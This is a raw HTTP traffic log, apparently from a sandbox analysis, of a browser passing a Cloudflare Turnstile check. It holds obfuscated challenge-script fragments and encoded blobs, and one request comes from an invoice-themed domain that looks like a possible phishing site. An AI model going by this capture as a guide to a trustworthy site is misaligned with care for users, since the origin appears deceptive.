2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 75 28 31 37 38 36 29 2c 64 5b 68 75 28 35 39 38 29 5d 3d 68 75 28 31 33 38 36 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 75 28 31 36 35 35 29 5d 5b 68 75 28 39 33 34 29 5d 28 32 3c 3c 66 2c 33 32 29 2c 65 4d 5b 68 75 28 35 36 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 76 29 7b 69 66 28 68 76 3d 68 75 2c 65 4d 5b 65 5b 68 76 28 31 30 34 37 29 5d 5d 29 7b 69 66 28 68 76 28 37 35 38 29 3d 3d 3d 65 5b 68 76 28 35 39 38 29 5d 29 72 65 74 75 72 6e 3b 65 6c 73 65 20 65 4d 5b 68 76 28 38 37 30 29 5d 5b 68 76 28 31 30 39 33 29 5d 28 29 2c 65 4d 5b 68 76 28 38 37 30 29 5d 5b 68 76 28 36 39 34 29 5d 28 29 2c 65 4d 5b 68 76 28 31 35 37 33 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 76 28 31 37 38 36 29 5d 5b 68 76 28 31 31 38 30 29 5d 28 7b 27 73 6f 75 72 63 Data Ascii: u(1786),d[hu(598)]=hu(1386),e=d,f=1,g=1e3*eM[hu(1655)][hu(934)](2<<f,32),eM[hu(562)](function(hv){if(hv=hu,eM[e[hv(1047)]]){if(hv(758)===e[hv(598)])return;else eM[hv(870)][hv(1093)](),eM[hv(870)][hv(694)](),eM[hv(1573)]=!![],eM[hv(1786)][hv(1180)]({'sourc
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 4a 49 54 78 64 27 3a 68 78 28 31 30 32 31 29 2c 27 79 48 4d 65 76 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 28 66 3d 64 5b 68 78 28 38 34 37 29 5d 2c 64 5b 68 78 28 31 37 32 33 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 68 78 28 31 37 32 33 29 5d 3d 3d 3d 68 78 28 31 31 37 30 29 29 26 26 28 6a 3d 64 5b 68 78 28 31 37 32 33 29 5d 5b 68 78 28 31 34 38 36 29 5d 28 27 5c 6e 27 29 2c 6a 5b 68 78 28 31 37 35 36 29 5d 3e 31 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 68 78 28 35 38 39 29 5d 28 6b 29 2c 6c 26 26 28 65 5b 68 78 28 Data Ascii: eturn n===o},'JITxd':hx(1021),'yHMev':function(n,o,s){return n(o,s)}},d instanceof Error)?(f=d[hx(847)],d[hx(1723)]&&typeof d[hx(1723)]===hx(1170))&&(j=d[hx(1723)][hx(1486)]('\n'),j[hx(1756)]>1)&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][hx(589)](k),l&&(e[hx(
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 29 5d 5b 69 6f 28 38 31 34 29 5d 26 26 28 6b 3d 6c 5b 69 6f 28 31 36 34 34 29 5d 28 64 5b 69 6f 28 31 36 36 31 29 5d 2c 6d 5b 69 6f 28 36 32 33 29 5d 5b 69 6f 28 38 31 34 29 5d 29 29 3a 64 5b 69 6f 28 31 37 30 31 29 5d 28 67 6d 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 69 6d 28 31 36 36 39 29 5d 28 65 5b 69 6d 28 35 31 38 29 5d 2c 69 6d 28 31 33 39 30 29 29 26 26 65 5b 69 6d 28 31 30 30 38 29 5d 3d 3d 3d 64 5b 69 6d 28 31 36 37 39 29 5d 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 57 29 7d 29 2c 66 59 3d 21 5b 5d 2c 21 66 70 28 67 4a 28 38 30 35 29 29 26 26 28 67 6d 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 6a 30 2c 63 2c 64 2c 65 29 7b 6a 30 3d 67 4a 2c 63 3d 7b 27 74 77 71 68 78 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b Data Ascii: )][io(814)]&&(k=l[io(1644)](d[io(1661)],m[io(623)][io(814)])):d[io(1701)](gm)},1e3):e&&d[im(1669)](e[im(518)],im(1390))&&e[im(1008)]===d[im(1679)]&&clearInterval(fW)}),fY=![],!fp(gJ(805))&&(gm(),setInterval(function(j0,c,d,e){j0=gJ,c={'twqhx':function(f){

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:07 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:07 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 91fc51a87d3231d8-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:09 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:10 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:09 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 91fc51b79af8288c-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:10 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3934 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:10 UTC	3934	OUT	Data Raw: 56 46 69 47 6e 47 65 47 58 47 6d 47 30 73 7a 33 73 7a 71 47 73 36 74 65 4a 6a 73 6e 7a 4a 7a 4d 4b 36 2b 31 2d 7a 6c 44 7a 44 36 5a 32 5a 68 7a 4f 2d 7a 46 63 2d 5a 76 32 63 7a 6e 2d 44 34 5a 79 7a 51 36 7a 62 4d 2d 42 42 2d 7a 42 2b 74 47 74 31 69 39 47 2b 32 7a 6f 31 43 7a 7a 67 66 7a 44 65 7a 43 2b 59 5a 6a 6a 47 66 71 4a 48 71 71 59 6d 65 7a 78 73 47 74 56 50 79 4c 7a 4a 56 52 39 54 30 64 6c 73 4c 79 24 71 75 76 61 70 67 6d 47 59 7a 5a 33 59 7a 68 2d 7a 30 41 63 2d 56 73 52 71 55 32 69 7a 38 7a 7a 37 59 63 5a 4e 54 74 34 68 38 6c 2d 6a 70 5a 7a 59 7a 70 42 52 36 24 47 5a 56 5a 6e 2d 7a 6c 42 36 7a 70 6a 61 7a 41 2d 47 34 4d 47 77 7a 66 24 47 7a 42 4b 73 69 54 2d 7a 54 7a 6e 2b 2d 47 61 71 6c 6c 47 43 36 49 54 55 51 7a 2b 34 56 74 33 6f 35 47 7a 49 6e Data Ascii: VFiGnGeGXGmG0sz3szqGs6teJjsnzJzMK6+1-zlDzD6Z2ZhzO-zFc-Zv2czn-D4ZyzQ6zbM-BB-zB+tGt1i9G+2zo1CzzgfzDezC+YZjjGfqJHqqYmezxsGtVPyLzJVR9T0dlsLy$quvapgmGYzZ3Yzh-z0Ac-VsRqU2iz8zz7YcZNTt4h8l-jpZzYzpBR6$GZVZn-zlB6zpjazA-G4MGwzf$GzBKsiT-zTzn+-GaqllGC6ITUQz+4Vt3o5GzIn
2025-03-13 14:46:11 UTC	1071	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 238860 Connection: close cf-chl-gen: KTx5hPEsl14PrDisdWUllw9TWL+awHLrrj4dCOFljLDQ7TguIARGEoYhMxWikMfk4jzs7/8uSvrnS+Ol8DAafmL+cG5zGXBj5twzSKObsLPmTkBhpHIdM+aZurBYOYIR+2Lcd793ulSTvASyroNkpYvKFXJ9fGBDRulQ8c93myEEGvi7std0+qv/dk9R4RTuGwmKHCw9Z5Va8qkzNDRDk3ReoYWpd8bjAKeKFZkeMc8fyNtif6AzHFDR8+qKL8uN3R6QBiwjRK1j/v+tGEMII2tSMdz+B2HL9O08YSBkJBqNGy5riP53WmQ5xNUQ3QHbtQlYM61nR2TORGM+4KEXkrJCzF8YX3gT2PoggSwr6adQmUvwM/huA62Y/Ld4j+WVrdySvpEYsdxldmXL7fYkc2JEF5Ki9+WgVkGguHPVykLYgpYixl4DU7ummgPU0yrDx8EFz8HiHKxBoIbNGv+9CpyUl+J2JtqMLlDI3mEuDWu70fUwvAQyMo0DhL9bYeDcGetfsmStaQdEKk8TLuohqUuTdeM02EnYhnnMecOQGfQwzWMJOLT+bNIR/6uteIdx9bUpDtaStMFuZfk7zFeRcs5mXO7JJfeJguu9mNococir8E6OyWHTsYlb7k34pzzLgmjFHbQxlwIpeHgPsX3hXYIiBXXJqbCvvuwsJuqASyvAp1JZcLVT2mhxABZ8ItStysm0tTqQbTvGM4d3104vozklW9RCCosUUKa7Ca4hfy1lw65GA7jgmhxiftaq/OuJY3K/032j8bxbMVptXkmkxBe4h28nMVHB3GAKVbbABdk=$l6zQHVe3gioUU6RARqMAjA== Server: cloudflare CF-RAY: 91fc51bb4a776dce-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:11 UTC	298	IN	Data Raw: 6b 47 53 51 5a 31 53 53 63 6e 75 51 62 35 70 79 6c 56 71 61 66 59 52 7a 69 58 4b 45 59 6e 57 4e 72 59 65 4c 6d 61 43 4b 6e 5a 4e 73 69 36 6d 35 71 33 4f 62 69 6f 79 78 6c 4d 4b 56 73 63 4b 65 6f 59 4f 6e 6b 35 69 39 6c 4b 53 66 77 4d 61 37 71 4b 2f 49 73 74 54 57 7a 37 43 6c 32 5a 4f 31 71 4e 36 6f 74 4b 76 52 6f 38 33 5a 30 62 44 52 77 74 79 38 32 62 6a 75 33 4d 37 77 7a 4f 75 2f 7a 50 61 7a 7a 4d 6a 79 32 39 50 4d 38 62 66 76 30 63 7a 32 38 39 58 51 38 75 54 61 31 4e 54 6b 32 4d 76 76 35 75 41 47 7a 2f 37 69 34 42 66 72 35 67 73 54 39 75 6a 58 45 64 6a 2b 32 2f 58 30 34 52 54 68 49 41 44 33 44 69 45 71 47 2f 6e 35 45 42 38 56 48 68 49 42 4a 78 55 48 42 66 4d 71 43 30 41 37 49 52 41 79 52 53 4e 48 46 53 45 2f 46 43 63 71 4a 67 59 38 48 79 77 4b 48 45 59 Data Ascii: kGSQZ1SScnuQb5pylVqafYRziXKEYnWNrYeLmaCKnZNsi6m5q3ObioyxlMKVscKeoYOnk5i9lKSfwMa7qK/IstTWz7Cl2ZO1qN6otKvRo83Z0bDRwty82bju3M7wzOu/zPazzMjy29PM8bfv0cz289XQ8uTa1NTk2Mvv5uAGz/7i4Bfr5gsT9ujXEdj+2/X04RThIAD3DiEqG/n5EB8VHhIBJxUHBfMqC0A7IRAyRSNHFSE/FCcqJgY8HywKHEY
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 70 6d 4b 69 39 75 4e 45 34 7a 63 6a 68 67 53 6a 31 2f 52 46 35 31 51 34 69 41 53 46 35 58 52 49 5a 69 67 59 75 4b 58 59 52 70 6a 6d 65 49 6a 34 6c 78 57 58 74 76 66 59 35 71 67 49 47 41 58 5a 4b 44 6d 35 2b 6d 65 4a 39 34 61 6d 36 6a 6b 71 6d 42 6e 71 32 52 63 49 79 69 6a 58 52 37 71 49 75 4d 74 35 79 32 77 70 2b 65 6e 33 36 7a 71 4a 75 5a 76 70 57 74 6e 62 2b 78 73 71 44 53 30 62 4f 50 79 37 48 4f 70 4c 65 32 74 35 62 4c 77 4d 43 78 31 72 6d 36 73 65 62 4a 78 62 6e 62 33 62 32 38 75 71 4f 37 31 4f 7a 75 71 50 53 31 77 37 6e 79 39 66 6e 79 39 64 4c 4e 39 66 61 38 2b 39 7a 6d 2b 38 48 65 35 39 6e 69 34 4f 6e 49 43 64 2f 6f 38 4e 50 75 7a 77 54 35 41 2f 4d 62 48 50 48 6f 45 50 55 4c 38 66 51 51 41 2f 72 6a 39 68 38 6b 4b 67 7a 73 4a 67 54 77 4a 69 63 30 44 Data Ascii: pmKi9uNE4zcjhgSj1/RF51Q4iASF5XRIZigYuKXYRpjmeIj4lxWXtvfY5qgIGAXZKDm5+meJ94am6jkqmBnq2RcIyijXR7qIuMt5y2wp+en36zqJuZvpWtnb+xsqDS0bOPy7HOpLe2t5bLwMCx1rm6sebJxbnb3b28uqO71OzuqPS1w7ny9fny9dLN9fa8+9zm+8He59ni4OnICd/o8NPuzwT5A/MbHPHoEPUL8fQQA/rj9h8kKgzsJgTwJic0D
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 72 56 33 31 33 65 31 75 42 65 33 74 66 68 58 39 6c 59 34 6d 44 5a 57 65 4e 68 31 31 72 6b 59 74 64 62 35 57 50 62 58 4f 5a 6b 32 31 33 6e 5a 5a 59 6f 56 75 46 63 33 2b 6c 6e 71 68 67 61 34 6d 69 6e 71 69 6e 6e 6f 42 76 71 6e 57 71 6b 4c 68 76 72 6e 53 4f 63 37 4a 34 71 48 65 32 66 4c 78 37 75 6f 43 44 6b 6f 58 48 6a 49 6d 39 69 39 44 49 30 36 6e 54 7a 38 36 74 70 35 6e 51 74 37 58 58 74 64 32 2b 75 39 71 69 74 35 37 65 34 4f 48 70 32 4f 48 55 33 72 33 4d 76 71 69 76 38 75 71 39 37 63 66 75 32 62 48 7a 32 76 66 55 2b 65 6a 61 2b 74 65 37 76 51 4c 6b 2f 63 6a 47 33 64 6e 5a 37 74 6f 4c 33 67 63 4d 45 68 62 54 46 51 58 72 45 42 55 56 36 78 67 57 33 52 72 69 33 52 38 69 41 50 30 61 38 77 6f 66 49 79 49 6d 2f 51 58 2b 44 44 49 73 41 68 41 32 4d 41 49 55 4f 6a Data Ascii: rV313e1uBe3tfhX9lY4mDZWeNh11rkYtdb5WPbXOZk213nZZYoVuFc3+lnqhga4minqinnoBvqnWqkLhvrnSOc7J4qHe2fLx7uoCDkoXHjIm9i9DI06nTz86tp5nQt7XXtd2+u9qit57e4OHp2OHU3r3Mvqiv8uq97cfu2bHz2vfU+eja+te7vQLk/cjG3dnZ7toL3gcMEhbTFQXrEBUV6xgW3Rri3R8iAP0a8wofIyIm/QX+DDIsAhA2MAIUOj
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 54 6c 64 6e 63 6c 4a 57 65 33 68 4b 57 34 4a 33 67 56 71 49 62 59 61 55 6a 48 56 6a 6c 4a 42 56 56 48 61 62 57 6e 65 56 65 58 4b 63 6b 47 4f 55 65 58 31 79 6f 34 52 38 67 4b 47 45 6f 71 70 78 69 4b 5a 78 71 33 65 6f 6d 6e 4f 53 72 49 65 72 6b 72 70 34 76 34 47 39 68 72 33 41 73 62 6e 45 78 63 6e 47 69 63 71 44 71 71 54 46 71 63 6a 43 30 4e 61 77 78 63 53 2b 31 72 4f 2b 71 74 48 4c 32 5a 32 6d 78 37 65 6a 33 64 33 4a 75 72 76 45 76 4b 2f 51 71 39 37 6a 33 74 4c 51 38 39 4c 50 2b 38 58 4f 7a 65 36 34 77 64 4c 79 42 4f 37 77 39 74 4c 68 78 77 72 69 42 74 66 36 43 76 72 4e 36 42 63 43 46 78 54 50 42 41 33 62 46 77 72 5a 43 2b 77 4f 46 50 6e 7a 41 68 6e 6e 4b 2f 4d 46 2b 69 30 5a 2b 51 45 4d 36 2b 30 46 41 52 45 32 45 67 59 76 2b 44 59 4e 4d 2f 6f 74 50 7a 73 Data Ascii: TldnclJWe3hKW4J3gVqIbYaUjHVjlJBVVHabWneVeXKckGOUeX1yo4R8gKGEoqpxiKZxq3eomnOSrIerkrp4v4G9hr3AsbnExcnGicqDqqTFqcjC0NawxcS+1rO+qtHL2Z2mx7ej3d3JurvEvK/Qq97j3tLQ89LP+8XOze64wdLyBO7w9tLhxwriBtf6CvrN6BcCFxTPBA3bFwrZC+wOFPnzAhnnK/MF+i0Z+QEM6+0FARE2EgYv+DYNM/otPzs
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 6c 4e 71 62 49 43 42 69 47 39 4e 58 6c 42 6f 54 57 46 33 69 6d 65 51 68 31 4e 56 61 58 2b 57 6e 6f 52 69 6e 61 65 53 58 71 69 68 64 4b 4b 49 5a 6d 65 50 6a 5a 79 6c 6c 5a 53 48 6c 49 4b 6a 6d 71 2b 46 6c 62 79 4b 6c 61 79 4f 73 49 53 52 75 37 36 64 74 73 43 45 6d 61 62 4b 7a 61 36 39 79 6f 6e 4e 78 64 4c 4e 75 4d 6e 4e 30 4e 4b 6e 73 64 72 4e 75 37 69 76 72 63 54 46 74 64 71 31 79 4c 54 48 79 65 76 45 37 36 33 49 77 4f 48 6b 30 4b 37 4c 30 64 6a 6e 30 72 6d 35 2b 2f 6e 4c 2f 4c 72 53 39 39 54 32 33 2f 4c 61 35 4d 7a 6f 44 41 77 4d 41 76 37 6f 46 65 76 53 30 4f 44 6e 38 78 6f 55 36 66 63 65 47 4f 6e 37 49 68 7a 35 41 43 59 67 2b 51 51 71 49 2b 51 75 35 78 49 41 44 44 49 72 4e 65 7a 33 46 69 38 72 4e 53 77 4a 50 2f 59 36 50 50 73 52 2f 76 63 37 50 42 38 41 Data Ascii: lNqbICBiG9NXlBoTWF3imeQh1NVaX+WnoRinaeSXqihdKKIZmePjZyllZSHlIKjmq+FlbyKlayOsISRu76dtsCEmabKza69yonNxdLNuMnN0NKnsdrNu7ivrcTFtdq1yLTHyevE763IwOHk0K7L0djn0rm5+/nL/LrS99T23/La5MzoDAwMAv7oFevS0ODn8xoU6fceGOn7Ihz5ACYg+QQqI+Qu5xIADDIrNez3Fi8rNSwJP/Y6PPsR/vc7PB8A
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 31 4a 6b 49 31 7a 54 6f 56 32 55 70 42 77 61 49 5a 57 66 48 47 61 62 4a 65 61 6d 5a 4b 5a 70 34 69 4a 64 34 32 4d 6a 48 32 69 67 59 57 41 73 35 57 4b 68 59 69 61 6f 34 36 62 74 6f 32 74 6d 36 47 79 74 35 2b 36 66 35 4b 64 68 72 79 6f 7a 4c 57 6d 6f 49 69 36 76 73 2b 7a 7a 49 2f 4a 77 74 72 4a 31 74 58 55 6d 35 36 79 30 4c 75 76 34 71 57 36 35 37 54 43 35 4d 71 31 32 62 72 73 73 50 47 36 38 39 2b 78 74 4d 44 32 74 4d 6a 32 74 37 76 31 2b 4c 4b 33 39 66 62 33 2b 38 37 76 31 73 58 6f 35 39 6a 33 34 65 6a 72 37 75 6a 4b 45 50 54 30 37 51 76 36 36 2f 72 79 35 64 6a 78 41 42 49 65 48 78 6f 63 46 52 4c 69 49 53 6f 59 2b 69 6e 6f 48 50 6b 69 4b 79 33 78 43 2f 49 4b 45 50 48 7a 2b 77 30 6d 4d 6a 73 73 51 52 7a 38 46 54 41 6a 48 78 46 4c 48 43 55 62 46 7a 6b 64 53 Data Ascii: 1JkI1zToV2UpBwaIZWfHGabJeamZKZp4iJd42MjH2igYWAs5WKhYiao46bto2tm6Gyt5+6f5KdhryozLWmoIi6vs+zzI/JwtrJ1tXUm56y0Luv4qW657TC5Mq12brssPG689+xtMD2tMj2t7v1+LK39fb3+87v1sXo59j34ejr7ujKEPT07Qv66/ry5djxABIeHxocFRLiISoY+inoHPkiKy3xC/IKEPHz+w0mMjssQRz8FTAjHxFLHCUbFzkdS
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 4f 55 4a 6c 54 66 57 74 33 6e 5a 61 67 57 47 4f 42 6d 70 61 67 6e 71 5a 6a 59 36 56 66 6f 70 35 69 5a 36 5a 73 68 6d 75 71 63 4b 42 76 72 6e 53 30 63 37 4a 34 65 34 71 32 76 34 53 42 74 59 4f 34 77 4d 75 61 6c 4b 48 47 6e 35 2b 49 79 4e 4b 4d 72 74 4f 53 72 73 57 35 71 74 58 51 6d 38 66 56 6d 72 62 62 76 64 61 76 77 39 4b 37 77 37 66 57 76 38 61 37 32 73 50 4e 76 39 37 48 30 4d 50 69 79 38 2f 50 35 39 76 58 38 65 72 54 31 76 43 36 34 75 66 43 41 63 63 42 35 2b 58 64 35 51 37 75 2b 67 55 48 30 51 66 33 39 4f 62 5a 37 68 7a 6f 39 74 44 57 2b 67 38 62 49 53 49 58 49 2b 49 54 47 78 37 6c 4a 2f 67 43 36 78 6b 63 43 43 59 4d 44 68 55 5a 36 76 58 31 4f 44 55 32 43 52 38 4f 2b 77 49 36 48 41 41 37 43 45 49 41 4f 53 45 71 4f 79 74 48 44 55 49 69 49 52 38 52 4b 31 Data Ascii: OUJlTfWt3nZagWGOBmpagnqZjY6Vfop5iZ6ZshmuqcKBvrnS0c7J4e4q2v4SBtYO4wMualKHGn5+IyNKMrtOSrsW5qtXQm8fVmrbbvdavw9K7w7fWv8a72sPNv97H0MPiy8/P59vX8erT1vC64ufCAccB5+Xd5Q7u+gUH0Qf39ObZ7hzo9tDW+g8bISIXI+ITGx7lJ/gC6xkcCCYMDhUZ6vX1ODU2CR8O+wI6HAA7CEIAOSEqOytHDUIiIR8RK1
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 58 34 68 33 6b 4a 74 75 67 33 5a 30 64 6f 52 70 64 58 31 32 67 4b 47 4c 6f 61 52 72 5a 71 61 4f 68 58 4b 75 67 36 52 35 74 72 36 38 6b 33 36 43 76 38 4c 45 6d 73 6a 48 70 4b 4f 65 6e 71 69 74 6e 4c 6d 52 78 38 61 4e 6b 4b 32 31 72 36 6a 61 74 74 71 72 32 5a 66 58 74 37 2f 61 6e 62 76 50 30 4e 66 55 77 35 33 70 76 73 32 2f 32 64 6e 6c 37 4b 2f 41 37 4c 44 52 39 4c 62 35 32 74 66 32 76 2b 6a 58 38 50 76 5a 77 2b 54 35 34 77 41 4c 2f 76 7a 6d 42 77 6a 50 42 52 49 4c 38 67 7a 4f 37 38 2f 6c 32 67 54 78 45 65 34 4a 38 2f 41 42 37 69 45 6e 47 68 73 6f 41 78 2f 6c 36 69 4d 75 47 53 77 46 4b 67 59 6d 4b 41 51 78 44 54 59 79 43 43 67 63 44 54 4d 71 48 42 73 6b 4a 68 6b 66 2f 6a 4d 63 4b 78 67 33 49 44 67 63 4f 79 51 37 49 44 38 6f 4e 43 52 44 4c 44 63 6f 52 7a 41 Data Ascii: X4h3kJtug3Z0doRpdX12gKGLoaRrZqaOhXKug6R5tr68k36Cv8LEmsjHpKOenqitnLmRx8aNkK21r6jattqr2ZfXt7/anbvP0NfUw53pvs2/2dnl7K/A7LDR9Lb52tf2v+jX8PvZw+T54wAL/vzmBwjPBRIL8gzO78/l2gTxEe4J8/AB7iEnGhsoAx/l6iMuGSwFKgYmKAQxDTYyCCgcDTMqHBskJhkf/jMcKxg3IDgcOyQ7ID8oNCRDLDcoRzA
2025-03-13 14:46:11 UTC	1369	IN	Data Raw: 32 46 6a 68 6e 65 65 69 4a 61 44 6d 71 57 51 62 34 71 4d 6a 37 47 49 67 34 53 76 6c 72 75 33 66 4a 36 53 69 6e 68 30 73 49 39 2f 75 6f 62 4a 66 38 6a 47 71 38 71 6f 72 4e 43 66 71 4e 53 70 7a 72 4f 68 78 34 2b 58 6c 61 2b 73 31 63 2f 4b 33 72 65 35 73 64 66 50 78 72 6a 66 76 36 4f 6b 34 73 7a 74 38 4d 4c 4b 76 4d 33 68 30 72 50 6f 31 75 2f 34 37 2f 76 70 34 50 58 56 75 73 76 57 2f 65 58 68 2b 77 6e 47 33 74 30 42 33 63 48 4c 37 63 30 47 42 4e 37 6f 35 4e 63 54 42 64 59 49 48 76 72 78 44 52 37 7a 39 77 33 2b 48 2f 73 65 4b 64 77 5a 44 43 67 62 4d 41 4c 39 37 77 67 73 49 76 34 33 46 51 51 48 42 68 59 65 42 78 59 53 44 52 41 4f 46 30 41 79 4b 54 34 54 49 30 49 67 4b 78 38 4e 54 79 41 64 44 79 49 6c 49 55 35 59 4b 53 56 52 4e 69 30 70 56 57 41 78 4c 56 6c 55 Data Ascii: 2FjhneeiJaDmqWQb4qMj7GIg4Svlru3fJ6Sinh0sI9/uobJf8jGq8qorNCfqNSpzrOhx4+Xla+s1c/K3re5sdfPxrjfv6Ok4szt8MLKvM3h0rPo1u/47/vp4PXVusvW/eXh+wnG3t0B3cHL7c0GBN7o5NcTBdYIHvrxDR7z9w3+H/seKdwZDCgbMAL97wgsIv43FQQHBhYeBxYSDRAOF0AyKT4TI0IgKx8NTyAdDyIlIU5YKSVRNi0pVWAxLVlU

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:10 UTC	629	OUT	OPTIONS /report/v4?s=ducObi9P2oK7eNgMgnbf8I5gCjWU90Rmen5Y15GEO5VclE%2FpiIcn25Y5D5gtcAI%2FS16zt%2Fd5MaaTv8ddAgfU29fmYhps4e7R33jCvWipgShp5Sb1b%2BuR6Yd9Yo2gWlp6j9FpvmWIV%2FbLBA4RbiqslxtrjAD1eD2nlmMRa0odi0r4QFwGR9W6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 14:46:10 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
